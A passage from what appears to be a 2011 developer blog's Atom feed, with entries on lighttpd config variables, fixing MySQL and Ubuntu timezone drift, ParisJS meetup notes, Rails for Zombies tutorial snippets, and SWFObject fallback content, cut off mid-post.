&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-ini&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;setenv.add-environment&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; = (&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;  &quot;SERVER_NAME&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; =&gt; var.serverName&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To add it as a Server: response Header:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-ini&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;server.tag&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; = var.serverName&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Note that &lt;code&gt;include_shell&lt;/code&gt; directives are only called when you start lighty and
not on every request.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Incorrect MySQL date</title>
    <link href="https://blog.pixelastic.com/2011/07/04/incorrect-mysql-date/"/>
    <updated>2011-07-04T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2011/07/04/incorrect-mysql-date</id>
    <content type="html">&lt;p&gt;Several ingame time calculation we made in game are based on Paris time. Some
weeks ago, we decided to make a pass on all our servers to always use Paris Time
(GMT +1).&lt;/p&gt;
&lt;p&gt;Today, I spotted that logs we save in the DB have some date inaccuracy. It
appears that our mysql server and instances weren&#39;t always updated to the
correct date. Some hours later, here is what I learned:&lt;/p&gt;
&lt;h2&gt;Finding and updating MySQL date&lt;/h2&gt;
&lt;p&gt;You can tell what timezone mysql should use when you start the service. If you
don&#39;t specify anything, it will use the system time. Once loaded, you can get
its time by running &lt;code&gt;SELECT NOW()&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;This is the easiest way to spot errors.&lt;/p&gt;
&lt;p&gt;To know the defined timezone, run &lt;code&gt;SELECT @@global.time_zone&lt;/code&gt;. If not defined,
you&#39;ll read &lt;code&gt;SYSTEM&lt;/code&gt;, which is not very helpful.&lt;/p&gt;
&lt;p&gt;Note here that even if you changed the system date AFTER you started mysql,
mysql will still use the date that was in effect when you first launched it.&lt;/p&gt;
&lt;p&gt;It means that changing your server time will not affet running mysql processes.
You&#39;ll have to restart mysql to do that: &lt;code&gt;sudo /etc/init.d/mysql restart&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;Finding and updating the server date&lt;/h2&gt;
&lt;p&gt;Even after restarting mysql on some servers, the mysql date was still incorrect.
After connecting the the sql server, I found that it was the server time that
was incorrectly set (I just type &lt;code&gt;date&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;To update the current time zone, I had to call &lt;code&gt;sudo dpkg-reconfigure tzdata&lt;/code&gt;
(I&#39;m using ubuntu) and choose the correct city&lt;/p&gt;
&lt;h2&gt;Updating mysql running through ndb_mgm&lt;/h2&gt;
&lt;p&gt;I&#39;m no server expert, so this part was a little trickier. Some of our databases
are using ndb cluster for replication. Reloading those configurations was
harder.&lt;/p&gt;
&lt;p&gt;First, I had to connect to the server running the ndb management and call
&lt;code&gt;ndb_mgm&lt;/code&gt;. In the later prompt, I typed show and this get me the list of all
servers currently managed.&lt;/p&gt;
&lt;p&gt;I then shut them down typing &lt;code&gt;shutdown&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The, I reloaded the management and the node running on this server by doing
&lt;code&gt;sudo /etc/init.d/mysql-ndb-mgm restart&lt;/code&gt; and
&lt;code&gt;sudo /etc/init.d/mysql-ndb restart&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Finally, I had to connect to all the servers I saw earlier (with the show
command) and run &lt;code&gt;sudo /etc/init.d/mysql-ndb restart&lt;/code&gt; on each of them&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>ParisJS #8</title>
    <link href="https://blog.pixelastic.com/2011/06/30/parisjs-8/"/>
    <updated>2011-06-30T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2011/06/30/parisjs-8</id>
    <content type="html">&lt;p&gt;&lt;em&gt;(The whole conferences were in french, but as I&#39;m writing every post on my blog
in english, I&#39;ll write this one too.)&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Tonight I was attenting the 8th parisjs meetup. We had the chance to have it
hosted at Valtech, in a very wealthy part of Paris, in somptuous quarters and a
large room with giant screen (and great pizzas too).&lt;/p&gt;
&lt;p&gt;Anyway, this time the meetup was split in two: first part was made of complete
talks, while second part only had small lightning talks. With pizza and beer in
between.&lt;/p&gt;
&lt;h2&gt;Wakanda&lt;/h2&gt;
&lt;p&gt;The first talk was about &lt;a href=&quot;http://www.wakanda.org/&quot;&gt;Wakanda&lt;/a&gt;. Wakanda is a
complete suite of client/server Javascript which goal is to help create business
oriented apps. It is created by the same company as 4D, but this time is
completly open source.&lt;/p&gt;
&lt;p&gt;The product seemed well done, but kinda monolithic: server side js, client side
javascript framework, application studio, debugguer.&lt;/p&gt;
&lt;p&gt;I can surely see it used for creating Intranet applications, for some very
specific business cases. I have an ambiguous feeling about Wakanda. I think they
did a very good job, the whole package seems really neat, the IDE is clear,
client/server communication is smooth, etc. On the other hand I&#39;m always
suspicious of apps that can do everything.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;(Note that I didn&#39;t try the product, I only heard about it tonight for the
first time and watched a 20min presentation so that&#39;s a little light for me to
give a precise opinion)&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;Joshfire Framework&lt;/h2&gt;
&lt;p&gt;A few months ago, &lt;a href=&quot;http://twitter.com/sylvinus&quot;&gt;@sylvinus&lt;/a&gt; from
&lt;a href=&quot;http://joshfire.com/&quot;&gt;Joshfire&lt;/a&gt; told us that they planned to realease their
framework, modeslty named &lt;a href=&quot;http://framework.joshfire.com/&quot;&gt;Joshfire&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;This is by far the most interesting presentation of the meetup. Joshfire is a
javascript framework aimed at working seamlessly between any devices: desktop,
mobile, iPad, TV, anything.&lt;/p&gt;
&lt;p&gt;It&#39;s basic idea is to abstract to its bare bone any interaction. From what I
remember, for any &amp;quot;page&amp;quot; you want to define you have to write two JSON
structures.&lt;/p&gt;
&lt;p&gt;One defines the data tree (what your data is), the other defines the UI tree
(how your data can be interacted with). It also ships with some adapters (an
adapter is the link between the UI Tree and a specific device).&lt;/p&gt;
&lt;p&gt;All you have to do to port your Joshfire app to a new device is to write (or
grab if it already exists) an adapter. The main logic and data code is the same
for every device, the maintenance is now only focused on any specific device.&lt;/p&gt;
&lt;p&gt;Even if the main idea of Joshfire is awesome, their documentation and licensing
is even more awesome: the project is already completly documented, with examples
and is also completly free and
&lt;a href=&quot;https://github.com/joshfire/joshfire-framework&quot;&gt;available on github&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;CSON, no sorry, JISON&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;http://twitter.com/jie&quot;&gt;@jie&lt;/a&gt; was supposed to talk about CSON, a compressed
JSON. But as he already gave a very similar talk (about BSON) at the last
#parisnode event, he changed the subject.&lt;/p&gt;
&lt;p&gt;I&#39;m not really sure what the real subject of the talk was. I think he mentionned
compiling Javascript into Javascript (much like CoffeeScript), but it eventually
turned into a Jison demo.&lt;/p&gt;
&lt;p&gt;Jison seems to be a tool for automating lexing and parsing languages, to output
new code. In effect, this could allow for transforming a custom language into an
existing language. CoffeeScript, Haml or Sass works that way : they take a new
language as input, and return Js, Html or Css as output.&lt;/p&gt;
&lt;p&gt;The advantages are that the custom language is usually much more concise, easy
to write and easy to read.&lt;/p&gt;
&lt;p&gt;Anyway, this presentation was full of nice quotes:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The language I&#39;m about to show you is totally useless.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Pipe? What is that? Oh, you mean the strokes.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;The bad thing about Jison is that its documentation is crap&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Why does it work? It was supposed to fail!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Overview of a dev life&lt;/h2&gt;
&lt;p&gt;This talk wasn&#39;t about any new shiny technology. It was about those old browsers
and bad habits we had 10 years ago, and how we still managed to make great
websites.&lt;/p&gt;
&lt;p&gt;This remind me of the &amp;quot;good ol&#39; days&amp;quot; when I discovered the web with FrontPage
and ClaraSoft. When IE6 was considered a modern browser.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://twitter.com/molokoloco&quot;&gt;@molokoloco&lt;/a&gt; show us that he managed to simulate
ajax using nested iframe, had a website still online and running even after 10
years, was able to code full websites in 3 days, and had read more than 50.000
blog posts. And all that while still using Windows and Dreamweaver.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;(Small side note: I praise both @molokoloco and @jie for what they managed to
do. I know how easy it is to procrastinate and configure UI, test new tools and
IDE instead of getting things done. That didn&#39;t seem to be an issue for them.)&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;mongoDB&lt;/h2&gt;
&lt;p&gt;This talk was the first in the serie of lightning talks (less than 20mn). It was
about mongoDB and how to integrate it in a nodejs app.&lt;/p&gt;
&lt;p&gt;As I had never tried nor nodejs nor mongoDB I didn&#39;t quite grasp what it was
really about. All I get is that in order to get a result from a mongoDB query,
one have to go through 3 steps of connection to the DB. In the asynchronous
world of nodejs, this doesn&#39;t work well, so each step has to fire a callback
once executed.&lt;/p&gt;
&lt;p&gt;From there, I was lost. There was something about manually calling a callback
once initialized, but honestly I didn&#39;t get it.&lt;/p&gt;
&lt;p&gt;Anyway, I learned from a small talk during pizza time that mongoDB was better
than couchDB (performance-wise), and that one have to sacrifice binding to the
altar of redundancy to get really fast response time.&lt;/p&gt;
&lt;h2&gt;Audio demo in less than 1kB. No, 800B. No, wait, 200B&lt;/h2&gt;
&lt;p&gt;This time the talk was a very fun demo. Using some simple minification
techniques, Js was able to play a random music.&lt;/p&gt;
&lt;p&gt;This involved encoding the wav file in base64 (taking special care of some
chars), and then playing it in an audio tag. Adding a bit of random to play a
different note on each loop.&lt;/p&gt;
&lt;p&gt;Fun, but interesting.&lt;/p&gt;
&lt;h2&gt;Some words about the Observer Pattern&lt;/h2&gt;
&lt;p&gt;This talk was more about theory than practice. Maybe it was the late hour, but
it didn&#39;t catch my attention as the other did. Maybe someone would re-explain it
to me?&lt;/p&gt;
&lt;p&gt;Well, I got the general idea: coding a js snippet that hard code the name of the
elements that should react is bad practice because of the maintanability
nightmare it cause when elements are removed.&lt;/p&gt;
&lt;p&gt;Instead, the speaker advocate the use of a MessageBroker. Some kind of general
listener that then dispatch event to element registered to that event (am I
right ?).&lt;/p&gt;
&lt;p&gt;Then someone in the audience noted that the opposite pattern should work better:
that every element registered itself to an event and react when such event is
fired (am I still right ?)&lt;/p&gt;
&lt;p&gt;Honestly, I really am not sure about this talk, so if anyone could fill the
blanks and correct me, I&#39;d be glad.&lt;/p&gt;
&lt;h2&gt;Sencha and Sencha Touch&lt;/h2&gt;
&lt;p&gt;I won&#39;t go into too much detail on that talk. This was a generic presentation of
Sencha (formerly known as ExtJs). I already had the basic understanding of ExtJs
(but not the expertise of some of the ExtJs experts in the room), so I was
really only half listening.&lt;/p&gt;
&lt;p&gt;Sencha is a great product. It is very similar to what Wakanda was showing in the
first talk. It is destined to data-heavy applications with lots of numbers,
columns, charts, pies, etc.&lt;/p&gt;
&lt;p&gt;Sencha Touch is a mobile version of Sencha. It is iOS oriented and emulate the
standard UI elements in HTML.&lt;/p&gt;
&lt;h2&gt;Mozilla Labs&lt;/h2&gt;
&lt;p&gt;A quick list of the Mozilla Labs projects. I honestly don&#39;t remember them all,
except Tilt that is a 3D viewer of any web page. It simply calculate the DOM
depth and create a pyramid-like structure that you can browser in 3D.&lt;/p&gt;
&lt;p&gt;I&#39;m sure that beyond the cool and shiny aspect, it can be useful as a
debug/optimisation tool.&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;Once again, thanks to #parisjs for those talks, always inspiring and a way to
meet new people.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;For all the new readers, I have an unfixed bug in my comment section: your post
can be invalidated if your are using Chrome with an email auto-filler. My custom
anti-spam will flag you as spam because Chrome fills an hidden honeypot field.&lt;/em&gt;&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Working on Wednesday #4: Rails for Zombies</title>
    <link href="https://blog.pixelastic.com/2011/06/29/working-wednesday-4-rails-zombies/"/>
    <updated>2011-06-29T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2011/06/29/working-wednesday-4-rails-zombies</id>
    <content type="html">&lt;p&gt;(I finally managed to update Ubuntu to the 10.10 version, configure Unity to
make it more usable, and I&#39;m not ready to start the RoR tutorial I wanted to
start last week.)&lt;/p&gt;
&lt;p&gt;I used &lt;code&gt;vim&lt;/code&gt; this week (instead of &lt;code&gt;nano&lt;/code&gt;) for very simple file editing. I will
force myself to use only &lt;code&gt;vim&lt;/code&gt; on wednesday to really learn it. I plan to
completly drop Komodo Edit once I&#39;ll be familar enough with vim to gain more
time than I lose.&lt;/p&gt;
&lt;h2&gt;Rails for Zombies&lt;/h2&gt;
&lt;p&gt;Anyway. I finally get to start the Rails for Zombies tutorial. And here is what
I learned.&lt;/p&gt;
&lt;p&gt;There are two distinct things I&#39;m going to learn here: Ruby and Rails. I
discovered that I was already familiar with a lot of basic concepts of Rails,
thanks to cakePHP. Model and table convention, model relationships (belongs to,
has many, etc) were exactly the same.&lt;/p&gt;
&lt;p&gt;Ruby on the other hand was new. But also very interesting. No need to add &lt;code&gt;()&lt;/code&gt;
after a method to call it when no args are passed, possibility to chain method
of the same object (much like jQuery) and the use of dynamic (yet strongly
typed) vars.&lt;/p&gt;
&lt;p&gt;The first part of the tutorial (basic CRUD) was easy. I didn&#39;t find how to make
a complex SQL query like this (cake) one:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$Zombie&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;find&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;all&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;array&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;order&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; array&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;Zombie.graveyard&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;ASC&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;Zombie.name&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;DESC&#39;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;));&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I guess it&#39;s just a matter of time before I learn how to to do in Rails anyway.
I saw that there was more &amp;quot;advanced&amp;quot; method (much like the cake &lt;code&gt;find&lt;/code&gt; method)
that would surely allow such finding.&lt;/p&gt;
&lt;h2&gt;Part 2: Validation and Relationships&lt;/h2&gt;
&lt;p&gt;The second part of the tutorial was more about models. Validation rules were
pretty much the same as those of cakePHP. But the Ruby syntax makes it more
concise.&lt;/p&gt;
&lt;p&gt;I couldn&#39;t find how to retrieve the validation errors when saving an object
using the &lt;code&gt;create&lt;/code&gt; method (no problem when manually calling &lt;code&gt;save&lt;/code&gt;, though).&lt;/p&gt;
&lt;p&gt;I enjoyed being able to create binded instances by simply adding the binded
element to the model. Not very clear isn&#39;t it? Here some code to explain it
better. The last two lines have exactly the same effect:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-ruby&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; Zombie&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; &amp;#x3C; &lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;ActiveRecord::Base&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; Weapon&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; &amp;#x3C; &lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;ActiveRecord::Base&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;belongs_to &lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;:zombie&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;Weapon&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;create&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;:name&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; =&gt; &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;Rocket Launcher&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;:zombie_id&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; =&gt; &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;Weapon&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;create&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;:name&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; =&gt; &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;Rocket Launcher&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;:zombie&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; =&gt; &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;Zombie&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;find&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;))&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Later on, I had to select all weapons binded to a specific Zombie. I was able to
find the a specific zombie using any of the two following commands:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-ruby&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;z&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; Zombie&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;where&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;:name&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; =&gt; &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;Ash&quot;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;first&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;z&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; Zombie&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;find&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;:first&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;:conditions&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; =&gt; &lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; :name&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; =&gt; &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;Ash&quot;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; })&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then, I wanted to find the weapons binded to this zombie. First I tried the
following command:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-ruby&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;Weapon&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;where&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;:zombie_id&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; =&gt; z.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Obviously, this worked. But I wanted to test some more of the Rails magic. So I
tried something along the lines of what I did in the previous chapter and tried
to use my &lt;code&gt;z&lt;/code&gt; var directly instead of &lt;code&gt;z.id&lt;/code&gt;.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-ruby&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;Weapon&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;where&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;:zombie&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; =&gt; z&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This didn&#39;t worked. Well, I guess I&#39;ll also learn why later on. But one even
more weird thing is that the following command did work even I&#39;m not really sur
why?&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-ruby&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;Weapon&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;where&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;:zombie_id&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; =&gt; z&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That&#39;s all I did today (well I also did some more Mercurial and Dingux testing,
but that wasn&#39;t really work)&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Alternate content with SWFObject</title>
    <link href="https://blog.pixelastic.com/2011/06/27/alternate-content-swfobject/"/>
    <updated>2011-06-27T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2011/06/27/alternate-content-swfobject</id>
    <content type="html">&lt;p&gt;SWFObject allow a web developer to add an alternate content in place of the
&lt;code&gt;swf&lt;/code&gt; file is the user doesn&#39;t have flash installed.&lt;/p&gt;
&lt;p&gt;In the case of a web app this is great to provide your user with a link to the
Adobe website. You then tell your users Flash is needed and provide a link for
them to install it.&lt;/p&gt;
&lt;p&gt;Unfortunatly, if for one reason or another the &lt;code&gt;swf&lt;/code&gt; file you try to load is
unreachable (maybe your host is down ?), SWFObject will display the same
alternate content. Meaning that a user with a perfectly correct Flash version
will see an error message telling him that he does not have Flash when in fact
the error is on your side.&lt;/p&gt;
&lt;p&gt;That&#39;s not very user friendly and makes you look bad.&lt;/p&gt;
&lt;p&gt;So, to fix this, I added two error messages as alternate content:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-html&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; id&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;alternateContent&quot;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; class&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;alternateContent&quot;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
